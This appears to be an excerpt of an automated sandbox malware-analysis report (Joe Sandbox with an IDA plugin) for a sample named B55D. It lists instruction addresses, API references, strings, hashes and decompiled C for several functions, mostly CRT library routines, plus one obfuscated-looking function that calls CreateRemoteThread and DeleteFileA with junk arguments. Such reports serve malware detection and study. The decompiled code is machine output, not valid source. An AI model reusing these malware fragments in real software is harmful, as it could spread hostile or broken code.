0x0043c1a1
0x0043c1a1
0x0043c1af
0x0043c1af
0x0043c1b2
0x00000000
0x00000000
0x0043be24
0x0043be27
0x0043be27
0x0043be2d
0x0043be2f
0x0043be32
0x0043be32
0x0043be35
0x0043be35
0x00000000
0x00000000
0x0043bf6a
0x0043bf6d
0x0043bf6d
0x0043bf72
0x0043bf74
0x0043bf77
0x0043bf77
0x0043bf7a
0x0043bf7a
0x00000000
0x00000000
0x0043c36d
0x0043c36d
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c1b9
0x0043c1bc
0x0043c1bf
0x0043c1c2
0x0043c1c8
0x0043c1cb
0x0043c1d2
0x0043c1d6
0x0043c1e1
0x0043c1e1
0x0043c1e5
0x0043c1fc
0x0043c1fc
0x0043c203
0x0043c205
0x0043c205
0x0043c20c
0x0043c20c
0x0043c213
0x0043c221
0x0043c224
0x0043c233
0x0043c236
0x0043c23a
0x0043c24f
0x0043c23c
0x0043c23c
0x0043c23f
0x0043c245
0x0043c24a
0x0043c24a
0x0043c23a
0x0043c259
0x0043c25c
0x0043c25f
0x0043c262
0x0043c265
0x0043c268
0x0043c26e
0x0043c274
0x0043c27c
0x0043c27d
0x0043c280
0x0043c281
0x0043c284
0x0043c285
0x0043c28c
0x0043c28d
0x0043c290
0x0043c291
0x0043c294
0x0043c295
0x0043c29b
0x0043c29c
0x0043c2ab
0x0043c2ad
0x0043c2b3
0x0043c2b3
0x0043c2b8
0x0043c2ba
0x0043c2be
0x0043c2c0
0x0043c2c8
0x0043c2c9
0x0043c2cc
0x0043c2cd
0x0043c2dc
0x0043c2de
0x0043c2de
0x0043c2be
0x0043c2e1
0x0043c2e8
0x0043c2eb
0x0043c2f0
0x0043c2f0
0x0043c2f6
0x0043c2f8
0x0043c300
0x0043c301
0x0043c304
0x0043c305
0x0043c313
0x0043c315
0x0043c315
0x0043c2f6
0x0043c318
0x0043c31b
0x0043c31e
0x0043c321
0x0043c326
0x0043c32b
0x0043c32e
0x0043c331
0x0043c331
0x0043c334
0x0043c334
0x0043c337
0x0043c343
0x00000000
0x0043c343
0x0043c1e7
0x0043c1e7
0x0043c1ee
0x0043c1f1
0x00000000
0x00000000
0x0043c1f3
0x0043c1f3
0x00000000
0x0043c1f3
0x0043c1d8
0x0043c1d8
0x00000000
0x00000000
0x0043be38
0x0043be38
0x0043be43
0x0043be4b
0x0043be52
0x0043be55
0x0043be55
0x0043be58
0x0043beb8
0x0043be5a
0x0043be61
0x0043be67
0x0043be6d
0x0043be74
0x0043be77
0x0043be7d
0x0043be85
0x0043be87
0x0043be8e
0x0043be95
0x0043be9c
0x0043bea4
0x0043bea6
0x0043bea8
0x0043bea8
0x0043beaf
0x0043bebf
0x0043bec5
0x0043bec8
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x00000000
0x00000000
0x0043c34b
0x0043c34e
0x0043c351
0x0043c354
0x00000000
0x00000000
0x0043c0aa
0x0043c0aa
0x0043c0b6
0x0043c0bc
0x0043c0c1
0x0043c0c3
0x0043c16d
0x0043c16d
0x0043c170
0x0043c170
0x0043c173
0x0043c187
0x0043c18d
0x0043c193
0x0043c175
0x0043c175
0x0043c17b
0x0043c182
0x0043c182
0x0043c195
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c660
0x0043c0c9
0x0043c0c9
0x0043c0c9
0x0043c0cb
0x0043c0d9
0x0043c0cd
0x0043c0cd
0x0043c0cd
0x0043c0e3
0x0043c0e9
0x0043c0ef
0x0043c0f6
0x0043c0f8
0x0043c0fd
0x0043c0ff
0x0043c104
0x0043c109
0x0043c10b
0x0043c110
0x0043c113
0x0043c116
0x0043c118
0x0043c118
0x0043c116
0x0043c119
0x0043c120
0x0043c168
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c122
0x0043c122
0x0043c127
0x0043c143
0x0043c14b
0x0043c155
0x0043c158
0x0043c15d
0x00000000
0x0043c15d
0x00000000
0x0043c3b4
0x0043c3b4
0x0043c3be
0x0043c3be
0x0043c3c4
0x0043c3c6
0x0043c3c9
0x0043c3c9
0x0043c3cf
0x0043c3cf
0x00000000
0x00000000
0x0043c366
0x0043c366
0x00000000
0x00000000
0x0043bf7d
0x0043bf7d
0x0043bf81
0x0043bf8f
0x0043bf92
0x0043bf83
0x0043bf83
0x0043bf83
0x0043bf98
0x0043bf9e
0x0043bfa4
0x0043bfb0
0x0043bfb6
0x0043bfb6
0x0043bfb9
0x0043c041
0x0043c041
0x0043c045
0x0043c047
0x0043c04d
0x0043c04d
0x0043c050
0x0043c057
0x0043c05a
0x0043c060
0x0043c060
0x0043c060
0x0043c066
0x0043c06c
0x0043c06f
0x0043c075
0x0043c077
0x00000000
0x00000000
0x0043c079
0x0043c079
0x0043c07f
0x0043c082
0x0043c084
0x00000000
0x00000000
0x0043c086
0x0043c08c
0x0043c08f
0x0043c08f
0x0043c097
0x0043c097
0x0043c09d
0x0043c09d
0x0043c0a2
0x00000000
0x0043bfbf
0x0043bfbf
0x0043bfbf
0x0043bfc3
0x0043bfc5
0x0043bfca
0x0043bfca
0x0043bfcd
0x0043bfd0
0x0043bfd6
0x0043bfe8
0x0043bfe8
0x0043bfe8
0x0043bfeb
0x0043bff1
0x00000000
0x00000000
0x0043bff3
0x0043bff3
0x0043bff9
0x0043bffc
0x0043bffe
0x00000000
0x00000000
0x0043c000
0x0043c000
0x0043c009
0x0043c00f
0x0043c013
0x0043c01b
0x0043c01d
0x0043c01f
0x0043c025
0x0043c025
0x0043c028
0x0043c028
0x0043c034
0x0043c037
0x0043bfdf
0x0043bfe2
0x0043bfe2
0x0043bfe5
0x0043bfe5
0x0043c03f
0x0043c0a5
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c660
0x00000000
0x0043c35d
0x0043c35d
0x00000000
0x00000000
0x0043c379
0x0043c379
0x0043c383
0x0043c383
0x0043c38d
0x0043c38d
0x0043c393
0x0043c395
0x0043c39a
0x0043c3a4
0x0043c3a4
0x0043c3a7
0x0043c3ab
0x0043c3ab
0x0043c3d2
0x0043c3d5
0x0043c3d5
0x0043c3da
0x0043c3fc
0x0043c3fc
0x0043c402
0x0043c424
0x0043c424
0x0043c427
0x0043c46e
0x0043c46e
0x0043c471
0x0043c48e
0x0043c492
0x0043c49a
0x0043c49a
0x0043c49c
0x0043c4a2
0x0043c473
0x0043c473
0x0043c477
0x0043c47f
0x0043c480
0x0043c486
0x0043c486
0x0043c429
0x0043c42c
0x0043c42c
0x0043c42f
0x0043c44d
0x0043c459
0x0043c45c
0x0043c45d
0x0043c463
0x0043c431
0x0043c431
0x0043c435
0x0043c43d
0x0043c43e
0x0043c43f
0x0043c445
0x0043c445
0x0043c469
0x0043c404
0x0043c404
0x0043c410
0x0043c416
0x0043c416
0x0043c3dc
0x0043c3dc
0x0043c3e8
0x0043c3ee
0x0043c3ee
0x0043c4ab
0x0043c4ab
0x0043c4ae
0x0043c4f0
0x0043c4f0
0x0043c4f6
0x0043c4fc
0x0043c502
0x00000000
0x0043c4b0
0x0043c4b0
0x0043c4b0
0x0043c4b7
0x00000000
0x00000000
0x0043c4b9
0x0043c4b9
0x0043c4c4
0x0043c4ca
0x0043c4cc
0x0043c4d2
0x0043c4d5
0x0043c4d7
0x0043c4dd
0x0043c4e6
0x0043c4eb
0x0043c508
0x0043c50b
0x0043c50b
0x0043c510
0x0043c515
0x0043c515
0x0043c51b
0x0043c51d
0x0043c523
0x0043c529
0x0043c529
0x0043c532
0x0043c532
0x0043c51b
0x0043c538
0x0043c53c
0x0043c54a
0x0043c54d
0x0043c550
0x0043c557
0x0043c559
0x0043c559
0x0043c53e
0x0043c53e
0x0043c53e
0x0043c566
0x0043c566
0x0043c56c
0x0043c56e
0x0043c56e
0x0043c575
0x0043c57b
0x0043c57e
0x0043c57e
0x0043c57e
0x0043c584
0x0043c587
0x0043c58a
0x0043c58c
0x00000000
0x00000000
0x0043c58e
0x0043c594
0x0043c594
0x0043c59a
0x00000000
0x00000000
0x0043c59c
0x0043c59c
0x0043c59f
0x0043c5a2
0x0043c5a9
0x0043c5b0
0x0043c5b8
0x0043c5be
0x0043c5c1
0x0043c5c4
0x0043c5cb
0x0043c5d7
0x0043c5dd
0x0043c5e3
0x0043c5ea
0x0043c5ec
0x0043c5f2
0x0043c5f2
0x0043c5f8
0x0043c5f8
0x0043c5fe
0x0043c607
0x0043c60c
0x0043c60f
0x0043c57e
0x0043c57e
0x0043c584
0x0043c587
0x0043c58a
0x0043c58c
0x00000000
0x00000000
0x00000000
0x0043c58c
0x0043c57e
0x0043c4bb
0x0043c4bb
0x0043c4c2
0x00000000
0x00000000
0x00000000
0x0043c4c2
0x00000000
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x00000000
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbef
0x00000000
0x00000000
0x0043bbf4
0x0043bbf7
0x0043bbfd
0x00000000
0x00000000
0x0043bbde
0x0043bbe1
0x0043bbe4
0x00000000
0x00000000
0x0043bbd3
0x0043bbd6
0x0043bbd9
0x00000000
0x00000000
0x0043bc02
0x0043bc02
0x0043bc05
0x0043bc05
0x0043bc08
0x00000000
0x00000000
0x0043bc0b
0x00000000
0x00000000
0x0043ba7b
0x0043ba7b
0x0043ba7d
0x0043ba8b
0x0043ba7f
0x0043ba7f
0x0043ba7f
0x0043ba9b
0x0043baa8
0x0043baaa
0x0043baaf
0x0043bab1
0x0043bab6
0x0043babb
0x0043babd
0x0043bac2
0x0043bac8
0x0043baca
0x0043baca
0x0043bac8
0x0043bacb
0x0043bad2
0x00000000
0x0043bad4
0x0043bad9
0x0043baf5
0x0043bafd
0x0043bb0a
0x0043bb0f
0x0043c924
0x0043c931
0x0043c931
0x0043bad2
0x0043ba75
0x0043c860
0x0043c867
0x0043c87e
0x0043c87e
0x0043c888
0x0043c888
0x0043c88e
0x0043c89b
0x0043c89d
0x0043c8a2
0x0043c8a4
0x0043c8a9
0x0043c8ae
0x0043c8b0
0x0043c8b5
0x0043c8bb
0x0043c8bd
0x0043c8bd
0x0043c8bb
0x0043c8c5
0x0043c910
0x0043c919
0x0043c91e
0x0043c8c7
0x0043c8cc
0x0043c8e8
0x0043c8f0
0x0043c8fd
0x0043c902
0x0043c902
0x00000000
0x0043c8c5
0x0043c869
0x0043c870
0x00000000
0x00000000
0x0043c872
0x0043c872
0x00000000
0x0043c872
0x0043c660
0x0043befb
0x0043befb
0x0043bf01
0x0043bf08
0x0043bf0d
0x0043bf10
0x00000000
0x0043bf10

APIs

_get_int_arg.LIBCMTD ref: 0043BED8
_strlen.LIBCMT ref: 0043BF08
_write_multi_char.LIBCMTD ref: 0043C6EB
_write_string.LIBCMTD ref: 0043C706
_write_multi_char.LIBCMTD ref: 0043C732
__mbtowc_l.LIBCMTD ref: 0043C7A1

Strings

_woutput_s_l, xrefs: 0043BAEB
("Incorrect format specifier", 0), xrefs: 0043BAAA, 0043BAF0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BAB6, 0043BAE6
xD@, xrefs: 0043BEFB

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c$xD@
API String ID: 909868375-2094193020
Opcode ID: b00941b20bd59b814280b132e37efa23e2ac40820aad5b12af99e1606340485b
Instruction ID: fc73c56002bedf5d3f06ac92ae6f7ca6bc45dc5fe39f1f9e472419c0e852fc8b
Opcode Fuzzy Hash: b00941b20bd59b814280b132e37efa23e2ac40820aad5b12af99e1606340485b
Instruction Fuzzy Hash: 4BA18DB1D002199BDF24DF54CC81BAEB3B5EB48304F14919AE609BB281D738AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00419E05, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 39
filetimethreadCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00419E05(void* __eax, void* __edx) {
				void* _t19;

				asm("adc [eax], eax");
				 *((intOrPtr*)(_t19 + 0x73)) =  *((intOrPtr*)(_t19 + 0x73)) + __edx;
				SetSystemTimeAdjustment(0, 0);
				CreateRemoteThread(0, 0, 0, 0, 0, 0, 0);
				__imp__CreateActCtxW(_t19 - 0x1648);
				DeleteFileA("Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo");
				__imp__GetCalendarInfoA(0, 0, 0, "vihebihasucuxegod", 0, 0);
				InterlockedDecrement(_t19 - 0x1628);
				GetCommandLineW();
				TlsGetValue(0);
				TryEnterCriticalSection(_t19 - 0x1624);
				return 0;
			}

0x00419e0b
0x00419e0d
0x00419e14
0x00419e28
0x00419e35
0x00419e40
0x00419e55
0x00419e62
0x00419e68
0x00419e70
0x00419e7d
0x00419e86

APIs

SetSystemTimeAdjustment.KERNEL32 ref: 00419E14
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00419E28
CreateActCtxW.KERNEL32(?), ref: 00419E35
DeleteFileA.KERNEL32(Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo), ref: 00419E40
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,vihebihasucuxegod,00000000,00000000), ref: 00419E55
InterlockedDecrement.KERNEL32(?), ref: 00419E62
GetCommandLineW.KERNEL32 ref: 00419E68
TlsGetValue.KERNEL32(00000000), ref: 00419E70
TryEnterCriticalSection.KERNEL32(?), ref: 00419E7D

Strings

vihebihasucuxegod, xrefs: 00419E4A
Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo, xrefs: 00419E3B

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: Create$AdjustmentCalendarCommandCriticalDecrementDeleteEnterFileInfoInterlockedLineRemoteSectionSystemThreadTimeValue
String ID: Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo$vihebihasucuxegod
API String ID: 2597053956-1231097603
Opcode ID: 778ccddce6d80ebf428a3a2114098694b13ee476d875678dd32114e9b0909af6
Instruction ID: c3ab0cdaebc2716bf8f6124dab3ba94a85e8c3f330aa3f1e61336741c9c4d0c9
Opcode Fuzzy Hash: 778ccddce6d80ebf428a3a2114098694b13ee476d875678dd32114e9b0909af6
Instruction Fuzzy Hash: 0CF01231684285ABE7105BB0AE0EF8837A8AB04702F140062F386F54F0C6B594848B19

Uniqueness

Uniqueness Score: -1.00%

Function 0041CDEE, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041CE6B
_CheckBytes.LIBCMTD ref: 0041CF09
_CheckBytes.LIBCMTD ref: 0041CFB2

Strings

%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0041D051
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CEA0
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0041CFDC
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CF3E

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: 7ac275f8fe3b7ff41d231405028f99a4cf14a7b426d7d4c509037e328ca49cc4
Instruction ID: c83c8bcc0f99148544486dec927d19d5c00e14d6dddab2fc164a80056aa9bae3
Opcode Fuzzy Hash: 7ac275f8fe3b7ff41d231405028f99a4cf14a7b426d7d4c509037e328ca49cc4
Instruction Fuzzy Hash: 50613FB5E402059BDB18CB84DCD5FBFB7B5AB48304F24811AE515AB3C1D279EC82CB68

Uniqueness

Uniqueness Score: -1.00%

Function 004377B4, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E004377B4(signed int __eax) {
				intOrPtr _t45;
				void* _t50;
				signed int _t54;
				void* _t60;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t94;

				_t85 = _t84 + 0x10;
				 *(_t82 - 0xc) = __eax;
				if( *(_t82 - 0xc) != 0xffffffff) {
					_t71 =  *(_t82 - 0xc) + 1;
					 *(_t82 - 0xc) = _t71;
					__eflags =  *(_t82 + 0xc);
					if( *(_t82 + 0xc) == 0) {
						L27:
						__eflags =  *(_t82 + 8);
						if( *(_t82 + 8) != 0) {
							 *( *(_t82 + 8)) =  *(_t82 - 0xc);
						}
						_t45 =  *((intOrPtr*)(_t82 - 4));
						L30:
						return _t45;
					}
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					if( *(_t82 - 0xc) <=  *(_t82 + 0x10)) {
						L26:
						_t73 =  *(_t82 + 0xc) +  *(_t82 - 0xc);
						__eflags = _t73;
						 *((char*)(_t73 - 1)) = 0;
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t82 + 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t82 + 0x18)) == 0xffffffff) {
						L25:
						 *(_t82 - 0xc) =  *(_t82 + 0x10);
						 *((intOrPtr*)(_t82 - 4)) = 0x50;
						goto L26;
					}
					 *( *(_t82 + 0xc)) = 0;
					__eflags =  *(_t82 + 0x10) - 0xffffffff;
					if( *(_t82 + 0x10) != 0xffffffff) {
						__eflags =  *(_t82 + 0x10) - 0x7fffffff;
						if( *(_t82 + 0x10) != 0x7fffffff) {
							__eflags =  *(_t82 + 0x10) - 1;
							if( *(_t82 + 0x10) > 1) {
								__eflags =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t67 =  *(_t82 + 0x10) - 1;
									__eflags = _t67;
									 *(_t82 - 0x2c) = _t67;
								} else {
									_t54 =  *0x440208; // 0xffffffff
									 *(_t82 - 0x2c) = _t54;
								}
								_t71 =  *(_t82 - 0x2c);
								_t52 =  *(_t82 + 0xc) + 1;
								__eflags =  *(_t82 + 0xc) + 1;
								E0041B4C0(_t80, _t52, 0xfe, _t71);
								_t85 = _t85 + 0xc;
							}
						}
					}
					_t65 =  *(_t82 + 0x10);
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					asm("sbb edx, edx");
					 *(_t82 - 0x18) =  ~_t71;
					if( *(_t82 - 0xc) ==  *(_t82 + 0x10)) {
						_push(L"sizeInBytes > retsize");
						_push(0);
						_push(0x157);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t50 = L0041E330();
						_t85 = _t85 + 0x14;
						__eflags = _t50 - 1;
						if(_t50 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t82 - 0x18);
					if( *(_t82 - 0x18) != 0) {
						goto L25;
					} else {
						 *((intOrPtr*)(L00422E20(_t65))) = 0x22;
						E00422BB0(_t60, _t65, _t80, _t81, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
						_t45 = 0x22;
						goto L30;
					}
				}
				if( *(_t82 + 0xc) != 0) {
					 *( *(_t82 + 0xc)) = 0;
					if( *(_t82 + 0x10) != 0xffffffff &&  *(_t82 + 0x10) != 0x7fffffff &&  *(_t82 + 0x10) > 1) {
						_t94 =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
						if(_t94 >= 0) {
							_t79 =  *(_t82 + 0x10) - 1;
							__eflags = _t79;
							 *(_t82 - 0x28) = _t79;
						} else {
							_t69 =  *0x440208; // 0xffffffff
							 *(_t82 - 0x28) = _t69;
						}
						_t61 =  *(_t82 + 0xc) + 1;
						E0041B4C0(_t80,  *(_t82 + 0xc) + 1, 0xfe,  *(_t82 - 0x28));
					}
				}
				_t45 =  *((intOrPtr*)(L00422E20(_t61)));
				goto L30;
			}

0x004377b4
0x004377b7
0x004377be
0x0043782a
0x0043782d
0x00437830
0x00437834
0x00437921
0x00437921
0x00437925
0x0043792d
0x0043792d
0x0043792f
0x00437932
0x00437935
0x00437935
0x0043783d
0x00437840
0x00437917
0x0043791a
0x0043791a
0x0043791d
0x00000000
0x0043791d
0x00437846
0x0043784a
0x0043790a
0x0043790d
0x00437910
0x00000000
0x00437910
0x00437853
0x00437856
0x0043785a
0x0043785c
0x00437863
0x00437865
0x00437869
0x00437871
0x00437877
0x00437886
0x00437886
0x00437889
0x00437879
0x00437879
0x0043787e
0x0043787e
0x0043788c
0x00437898
0x00437898
0x0043789c
0x004378a1
0x004378a1
0x00437869
0x00437863
0x004378a4
0x004378a7
0x004378aa
0x004378ae
0x004378b1
0x004378b3
0x004378b8
0x004378ba
0x004378bf
0x004378c4
0x004378c6
0x004378cb
0x004378ce
0x004378d1
0x004378d3
0x004378d3
0x004378d1
0x004378d4
0x004378d8
0x00000000
0x004378da
0x004378df
0x004378fb
0x00437903
0x00000000
0x00437903
0x004378d8
0x004377c4
0x004377c9
0x004377d0
0x004377e7
0x004377ed
0x004377fd
0x004377fd
0x00437800
0x004377ef
0x004377ef
0x004377f5
0x004377f5
0x0043780f
0x00437813
0x00437818
0x004377d0
0x00437820
0x00000000

APIs

_memset.LIBCMT ref: 00437813
_memset.LIBCMT ref: 0043789C
__invalid_parameter.LIBCMTD ref: 004378FB

Strings

P, xrefs: 00437910
sizeInBytes > retsize, xrefs: 004378B3, 004378F6
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 004378BF, 004378EC
_wcstombs_s_l, xrefs: 004378F1

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: 12ba152869e2f5aa2034a7e53a68d6bf0a9d64c5fe8e9934f363fb63a597b9e5
Instruction ID: 2fe462655c5fffdc470c9ca6b2493033c66ade74e7e185e8851344b4b1df0ec4
Opcode Fuzzy Hash: 12ba152869e2f5aa2034a7e53a68d6bf0a9d64c5fe8e9934f363fb63a597b9e5
Instruction Fuzzy Hash: 6F417CB0904209EBDB28DF58C8497AE7761FF48314F10D66AE8B52A3D0D3789951CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041D887, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041D887() {
				intOrPtr _t54;
				void* _t61;
				intOrPtr _t68;
				void* _t70;
				void* _t98;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t105;

				L0:
				while(1) {
					L0:
					 *(_t100 - 4) =  *(_t100 - 4) + 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) + 0x10)) >= 0x10) {
						 *((intOrPtr*)(_t100 - 0x6c)) = 0x10;
					} else {
						_t6 =  *((intOrPtr*)(_t100 + 0xc)) + 0x10; // 0x2
						 *((intOrPtr*)(_t100 - 0x6c)) =  *_t6;
					}
					if( *(_t100 - 4) >=  *((intOrPtr*)(_t100 - 0x6c))) {
						break;
					}
					L5:
					 *(_t100 - 0x61) =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) +  *(_t100 - 4) + 0x20));
					if(E0041AE00(_t100 - 0x60) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E0041AE00(_t100 - 0x60))) + 0xac)) <= 1) {
						_t54 = E00422FB0(E0041AE00(_t100 - 0x60),  *(_t100 - 0x61) & 0x000000ff, 0x157);
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t54;
					} else {
						_t68 = E00423060(_t70, _t98, _t99,  *(_t100 - 0x61) & 0x000000ff, 0x157, E0041AE00(_t100 - 0x60));
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t68;
					}
					if( *((intOrPtr*)(_t100 - 0x70)) == 0) {
						 *(_t100 - 0x74) = 0x20;
					} else {
						 *(_t100 - 0x74) =  *(_t100 - 0x61) & 0x000000ff;
					}
					 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) =  *(_t100 - 0x74);
					 *((intOrPtr*)(_t100 - 0x68)) =  *((intOrPtr*)(L00422E20( *(_t100 - 0x74))));
					 *((intOrPtr*)(L00422E20( *(_t100 - 0x74)))) = 0;
					_t84 = _t100 +  *(_t100 - 4) * 3 - 0x3c;
					_t61 = E0042BC10(_t100 +  *(_t100 - 4) * 3 - 0x3c, _t100 +  *(_t100 - 4) * 3 - 0x3c, 0x31 -  *(_t100 - 4) * 3, "%.2X ",  *(_t100 - 0x61) & 0x000000ff);
					_t102 = _t105 + 0x10;
					if(_t61 < 0) {
						E0041DA00( *((intOrPtr*)(L00422E20(_t84))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x963, 0);
						_t102 = _t102 + 0x20;
					}
					 *((intOrPtr*)(L00422E20(_t84))) =  *((intOrPtr*)(_t100 - 0x68));
				}
				L15:
				_t91 =  *(_t100 - 4);
				 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) = 0;
				_push(_t100 - 0x3c);
				if(L00429530(0, 0, 0, 0, " Data: <%s> %s\n", _t100 - 0x50) == 1) {
					asm("int3");
				}
				return E0042BC70(E0041ADD0(_t100 - 0x60), _t70,  *(_t100 - 8) ^ _t100, _t91, _t98, _t99);
			}

0x0041d887
0x0041d887
0x0041d887
0x0041d88d
0x0041d897
0x0041d8a4
0x0041d899
0x0041d89c
0x0041d89f
0x0041d89f
0x0041d8b1
0x00000000
0x00000000
0x0041d8b7
0x0041d8c0
0x0041d8cd
0x0041d915
0x0041d91a
0x0041d91d
0x0041d8e2
0x0041d8f5
0x0041d8fa
0x0041d8fd
0x0041d8fd
0x0041d924
0x0041d92f
0x0041d926
0x0041d92a
0x0041d92a
0x0041d93c
0x0041d947
0x0041d94f
0x0041d973
0x0041d978
0x0041d97d
0x0041d982
0x0041d9a6
0x0041d9ab
0x0041d9ab
0x0041d9b6
0x0041d9b6
0x0041d9bd
0x0041d9bd
0x0041d9c0
0x0041d9c8
0x0041d9e5
0x0041d9e7
0x0041d9e7
0x0041d9fd

APIs

__isctype_l.LIBCMTD ref: 0041D8F5
_swprintf_s.LIBCMTD ref: 0041D978
__invoke_watson_if_oneof.LIBCMTD ref: 0041D9A6

Strings

(*_errno()), xrefs: 0041D995
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041D98B
%.2X , xrefs: 0041D95A
_printMemBlockData, xrefs: 0041D990

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

